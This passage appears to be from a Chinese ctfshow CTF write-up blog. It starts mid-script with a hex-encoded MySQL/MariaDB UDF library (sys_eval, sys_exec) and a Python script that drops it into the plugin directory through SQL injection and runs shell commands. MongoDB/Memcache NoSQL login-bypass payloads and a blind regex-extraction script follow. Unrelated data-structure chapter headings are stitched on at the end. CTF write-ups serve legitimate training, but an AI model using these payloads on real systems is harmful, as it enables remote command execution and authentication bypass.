	"FF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D060" \
	"25E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000" \
	"DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E1086024" \
	"30D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C" \
	"010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E1" \
	"08602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C00" \
	"0000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF550100000" \
	"0410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFF" \
	"FF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C000000000" \
	"0000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B80100000000000005000000" \
	"00000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000" \
	"000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014" \
	"000000000000000700000000000000170000000000000050080000000000000700000000000000F00700000000000" \
	"00800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D00700000000" \
	"0000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F00000000010000000" \
	"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
	"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
	"00000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000" \
	"C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000" \
	"000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A000000" \
	"0000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D34290" \
	"04743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3137290000" \
	"2E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E6" \
	"76E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273" \
	"696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726" \
	"F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A63" \
	"72002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6" \
	"D6D656E74000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
	"00000000000000000000000000000000000000000000001B000000070000000200000000000000900100000000000" \
	"0900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FF" \
	"FF6F0200000000000000B801000000000000B801000000000000B4000000000000000300000000000000080000000" \
	"00000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300" \
	"000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E80" \
	"5000000000000E8050000000000009D01000000000000000000000000000001000000000000000000000000000000" \
	"48000000FFFFFF6F0200000000000000860700000000000086070000000000004A000000000000000300000000000" \
	"0000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000" \
	"000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000" \
	"000000000F007000000000000F0070000000000006000000000000000030000000000000008000000000000001800" \
	"0000000000006E0000000400000002000000000000005008000000000000500800000000000038010000000000000" \
	"30000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000" \
	"008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010" \
	"000000600000000000000A009000000000000A009000000000000E000000000000000000000000000000004000000" \
	"0000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C8060" \
	"000000000000000000000000000100000000000000000000000000000008400000001000000060000000000000048" \
	"1100000000000048110000000000000E0000000000000000000000000000000400000000000000000000000000000" \
	"08A00000001000000020000000000000058110000000000005811000000000000EC00000000000000000000000000" \
	"000008000000000000000000000000000000920000000100000002000000000000004412000000000000441200000" \
	"00000008400000000000000000000000000000004000000000000000000000000000000A000000001000000020000" \
	"0000000000C812000000000000C812000000000000FC0100000000000000000000000000000800000000000000000" \
	"0000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000" \
	"000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000" \
	"000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B800000001" \
	"0000000300000000000000E814200000000000E814000000000000080000000000000000000000000000000800000" \
	"0000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800" \
	"000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F" \
	"814200000000000F81400000000000080010000000000000400000000000000080000000000000010000000000000" \
	"00D300000001000000030000000000000078162000000000007816000000000000180000000000000000000000000" \
	"0000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000" \
	"000000008000000000000000000000000000000008000000000000000800000000000000E10000000800000003000" \
	"000000000001017200000000000101700000000000010000000000000000000000000000000080000000000000000" \
	"00000000000000E600000001000000300000000000000000000000000000001017000000000000590000000000000" \
	"000000000000000000100000000000000010000000000000011000000030000000000000000000000000000000000" \
	"00006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000" \
	"200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C000000080000" \
	"00000000001800000000000000090000000300000000000000000000000000000000000000C026000000000000420" \
	"300000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000" \
	"00000000000000000000000003000100900100000000000000000000000000000000000003000200B801000000000" \
	"00000000000000000000000000003000300700200000000000000000000000000000000000003000400E805000000" \
	"00000000000000000000000000000003000500860700000000000000000000000000000000000003000600D007000" \
	"00000000000000000000000000000000003000700F007000000000000000000000000000000000000030008005008" \
	"00000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A" \
	"00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C" \
	"00481100000000000000000000000000000000000003000D005811000000000000000000000000000000000000030" \
	"00E00441200000000000000000000000000000000000003000F00C812000000000000000000000000000000000000" \
	"03001000C81420000000000000000000000000000000000003001100D814200000000000000000000000000000000" \
	"00003001200E81420000000000000000000000000000000000003001300F014200000000000000000000000000000" \
	"00000003001400F814200000000000000000000000000000000000030015007816200000000000000000000000000" \
	"000000000030016009016200000000000000000000000000000000000030017001017200000000000000000000000" \
	"00000000000003001800000000000000000000000000000000000100000002000B00800A000000000000000000000" \
	"0000000110000000400F1FF000000000000000000000000000000001C00000001001000C814200000000000000000" \
	"00000000002A00000001001100D81420000000000000000000000000003800000001001200E814200000000000000" \
	"00000000000004500000002000B00A00A00000000000000000000000000005B000000010017001017200000000000" \
	"01000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B000000000" \
	"0000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D014200000" \
	"00000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E814200" \
	"0000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF0000" \
	"0000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F" \
	"0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1" \
	"FFF81420000000000000000000000000000D01000012000B00D10D000000000000D10000000000000015010000120" \
	"00B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D010000" \
	"20000000000000000000000000000000000000004101000012000C004811000000000000000000000000000047010" \
	"00012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B" \
	"01000012000000000000000000000000000000000000007F01000012000B00A20E000000000000670000000000000" \
	"08D01000012000B00B30F000000000000550100000000000096010000120000000000000000000000000000000000" \
	"0000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F10000000" \
	"0000000D30100001200000000000000000000000000000000000000E5010000120000000000000000000000000000" \
	"0000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B000000000000490" \
	"00000000000002802000022000000000000000000000000000000000000004402000012000B00A60D000000000000" \
	"2B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C000000000" \
	"0000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F000000" \
	"0000006700000000000000910200001200000000000000000000000000000000000000A5020000120000000000000" \
	"0000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF1017" \
	"2000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF2" \
	"0172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B" \
	"00090F0000000000000A000000000000000D030000120000000000000000000000000000000000000022030000100" \
	"0F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C030000" \
	"12000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E6" \
	"3005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F" \
	"5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E363335340" \
	"06672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F45" \
	"4E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005" \
	"F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F" \
	"005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5" \
	"265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F63404047" \
	"4C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E697400737" \
	"9735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E66" \
	"6F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4" \
	"040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F" \
	"7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7" \
	"365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040" \
	"474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E35006" \
	"76574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973" \
	"716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657" \
	"865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E404047" \
	"4C4942435F322E322E35005F696E697400"
	for i in range(0,21510, 5000):
	end = i + 5000
	payload.append(udf[i:end])

	p = dict(zip(text, payload))

	for t in text:
	url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t) #UDF 提权一般配合 dumpfile 而不是 outfile
	r = requests.get(url)
	print(r.status_code)

	next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'-- +&page=1&limit=10" #将各个 txt 文件合并到 udf.so
	rn = requests.get(next_url)

	uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#创建 udf 函数
	r=requests.get(uaf_url)
	nn_url = base_url+"?id=';select sys_eval('cat /flag.*');-- +&page=1&limit=10"#执行命令并查看
	rnn = requests.get(nn_url)
	print(rnn.text)

# web249

	nosql注入


	sql语句
	// 无
	$user = $memcache->get($id);


	返回逻辑
	// 无过滤

从 Memcache 缓存服务器 中，取出键名为 $id 的缓存数据，并赋值给 $user 。

Memcache::get ：从服务端检回一个元素

如果服务端之前有以 key 作为 key 存储的元素， Memcache::get() 方法此时返回之前存储的值

可以给 Memcache::get() 方法传递一个数组（多个 key）来获取一个数组的元素值，返回的数组仅仅包含从服务端查找到的 key-value 对

id 为数字类型，使用数组绕过

/api?id[]=flag

# web250

	nosql注入


	sql语句
	$query = new MongoDB\Driver\Query($data);
	$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();


	返回逻辑
	// 无过滤
	if(count($cursor)>0){
	$ret['msg']='登陆成功';
	array_push($ret['data'], $flag);
	}

1. $query = new MongoDB\Driver\Query($data);

MongoDB\Driver\Query 是 MongoDB 驱动提供的查询对象。

$data 是一个数组（通常类似 ['id' => 123] 或 ['username' => 'abc'] ），表示查询条件。

$query = new MongoDB\Driver\Query($data); 的意思是把查询条件封装成一个 MongoDB 查询对象，方便后面执行。

2. $cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

$manager 是 MongoDB 的连接管理对象，类似数据库连接。

executeQuery('ctfshow.ctfshow_user', $query) 表示在 ctfshow 数据库的 ctfshow_user 集合里执行这个查询。

返回值 $cursor 是一个游标对象（Cursor），表示查询结果集合。

->toArray() 把游标里的所有结果转换成一个 PHP 数组，方便访问。

MongoDB 查询条件的操作符：

1️⃣ 比较操作符

符号含义示例

$gt 大于 > { age: { $gt: 18 } } → 年龄大于 18

$lt 小于 < { age: { $lt: 18 } } → 年龄小于 18

$gte 大于等于 >= { age: { $gte: 18 } } → 年龄 ≥ 18

$lte 小于等于 <= { age: { $lte: 18 } } → 年龄 ≤ 18

$ne 不等于 != { age: { $ne: 18 } } → 年龄不等于 18

$in 在指定数组内 { age: { $in: [18,19,20] } } → 年龄是 18、19、20 中的一个

$nin 不在指定数组内 { age: { $nin: [18,19,20] } } → 年龄不是 18、19、20 中的任何一个

$all 包含数组中所有元素 { tags: { $all: ["red","big"] } } → tags 必须同时有 "red" 和 "big"

2️⃣ 逻辑操作符

符号含义示例

$or 或条件 { $or: [ {age:18}, {age:20} ] } → 年龄是 18 或 20

$not 取反 / 反匹配 { age: { $not: { $gt: 18 } } } → 年龄 ≤ 18

3️⃣ 模糊查询（正则）

使用 $regex 做类似 SQL LIKE 的模糊匹配：
db.customer.find({ name: { $regex: '.*s.*' } })
意思是：查询名字里 包含字母 s 的用户。

.* 表示任意字符任意长度。

4️⃣ 范围查询示例
{ "age": { "$gte": 2, "$lte": 21 } } // 2 <= age <= 21
{ "age": { "$ne": 23 } }             // age != 23
{ "age": { "$lt": 23 } }             // age < 23

查看源代码找到 post 请求

	#GET
	/api/index.php

	#POST
	username[$ne]=1&password[$ne]=1

# web251

	nosql注入


	sql语句
	$query = new MongoDB\Driver\Query($data);
	$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();


	返回逻辑
	// 无过滤
	if(count($cursor)>0){
	$ret['msg']='登陆成功';
	array_push($ret['data'], $flag);
	}

	#GET
	/api/index.php

	#POST
	username[$ne]=1&password[$ne]=1
	username[$ne]=admin&password[$ne]=1

# web252

	nosql注入


	sql语句
	//sql
	db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()


	返回逻辑
	// 无过滤
	if(count($cursor)>0){
	$ret['msg']='登陆成功';
	array_push($ret['data'], $flag);
	}

db.ctfshow_user.find({username:'$username',password:'$password'}).pretty() ：在 ctfshow_user 表里查找用户名和密码同时匹配的用户，并把结果以漂亮格式打印出来

	#GET
	/api/index.php

	#POST
	username[$ne]=1&password[$regex]=ctfshow{

# web253

	nosql注入


	sql语句
	//sql
	db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()


	返回逻辑
	// 无过滤
	if(count($cursor)>0){
	$ret['msg']='登陆成功';
	array_push($ret['data'], $flag);
	}

经过测试， username 为 flag ，但是页面不会回显数据，采用脚本盲注

username[$regex]=flag&password[$ne]=1

	import requests
	import string
	import time

	url = 'http://a9f047cc-a3f5-4146-a5ef-8c652481cd86.challenge.ctf.show/api/'
	dic = string.digits + string.ascii_lowercase + '{}-_'
	out = 'ctfshow{'

	for j in range(9, 50):
	for k in dic:
	payload = {'username[$ne]': '1', 'password[$regex]': f'^{out+k}'}
	try:
	re = requests.post(url, data=payload)
	if "\\u767b\\u9646\\u6210\\u529f" in re.text: # 反斜杠进行转义
	out += k
	print(out)
	break
	except requests.exceptions.RequestException as e:
	print(f"请求失败: {e}")
	time.sleep(0.5) # 添加请求间隔

符号	含义	示例
`$gt`	大于 `>`	`{ age: { $gt: 18 } }` → 年龄大于 18
`$lt`	小于 `<`	`{ age: { $lt: 18 } }` → 年龄小于 18
`$gte`	大于等于 `>=`	`{ age: { $gte: 18 } }` → 年龄 ≥ 18
`$lte`	小于等于 `<=`	`{ age: { $lte: 18 } }` → 年龄 ≤ 18
`$ne`	不等于 `!=`	`{ age: { $ne: 18 } }` → 年龄不等于 18
`$in`	在指定数组内	`{ age: { $in: [18,19,20] } }` → 年龄是 18、19、20 中的一个
`$nin`	不在指定数组内	`{ age: { $nin: [18,19,20] } }` → 年龄不是 18、19、20 中的任何一个
`$all`	包含数组中所有元素	`{ tags: { $all: ["red","big"] } }` → tags 必须同时有 "red" 和 "big"

符号	含义	示例
`$or`	或条件	`{ $or: [ {age:18}, {age:20} ] }` → 年龄是 18 或 20
`$not`	取反 / 反匹配	`{ age: { $not: { $gt: 18 } } }` → 年龄 ≤ 18

	{ "age": { "$gte": 2, "$lte": 21 } } // 2 <= age <= 21
	{ "age": { "$ne": 23 } } // age != 23
	{ "age": { "$lt": 23 } } // age < 23

不说永远 珍惜现在

排序

# 一、顺序表存储

# 二、插入排序

# 1. 直接插入排序

# 普通算法

# 优化算法

# 2. 折半插入排序

# 3. 希尔排序

# 三、交换排序

# 1. 冒泡排序

# 普通算法

# 改进算法

# 2. 双向冒泡算法

# 3. 快速排序

# 四、选择排序

# 1. 直接选择排序

# 普通算法

# 优化算法

# 2. 锦标赛排序

# 3. 堆排序

# 五、归并排序

# 1. 二路归并

# 六、分配排序

# 1. 桶排序

# 2. 基数排序

# 七、总结

图

# 一、图

# 1. 图的抽象数据类型

# 2. 图的模版基类

# 二、邻接矩阵（相邻矩阵）

# 1. 类定义

# 2. 构造函数

# 三、邻接表

# 1. 类定义

# 2. 构造函数

# 3. 析构函数

# 4. 建立算法

# 四、图的遍历

# 1. 深度优先遍历算法 (DFS)

# 2. 广度优先遍历算法 (BFS)

# 五、四叉特征数

# 1. 存储结构

# 2. 前序遍历算法 (深度优先遍历)

# 3. 层次遍历算法 (广度优先遍历)

# 六、迷宫问题

# 1. 深度优先遍历

# 2. 广度优先遍历

# 七、最小生成树

# 1. 克鲁斯卡尔算法 (Kruskal 算法)

# 2. 普里姆算法 (Prim 算法)

# 3. 迪杰斯特拉算法 (dijkstra 算法)

# 八、拓扑排序

数组、串与广义表

# 一、数组

# 1. 一维数组（向量）

# 2. 二维数组（矩阵）

# 3. 三维数组

# 二、特殊矩阵

# 1. 对称矩阵

# 2. 三角矩阵

# 下三角存储（含主对角线）

# 上三角存储（含主对角线）

# 3. 稀疏矩阵

# 顺序存储类定义

# 构造函数

# 稀疏矩阵的转置算法

# 普通转置算法

# 快速转置算法（改进）

# 十字链表转置（计算量最小）

# 链式存储

# 带行指针的链式存储结构

# 带列指针的链式存储结构

# 十字链表

# 三、广义表

# 1. 存储方法 1

# 2. 存储方法 2

# 四、串

# 1. 顺序存储结构

不说永远珍惜现在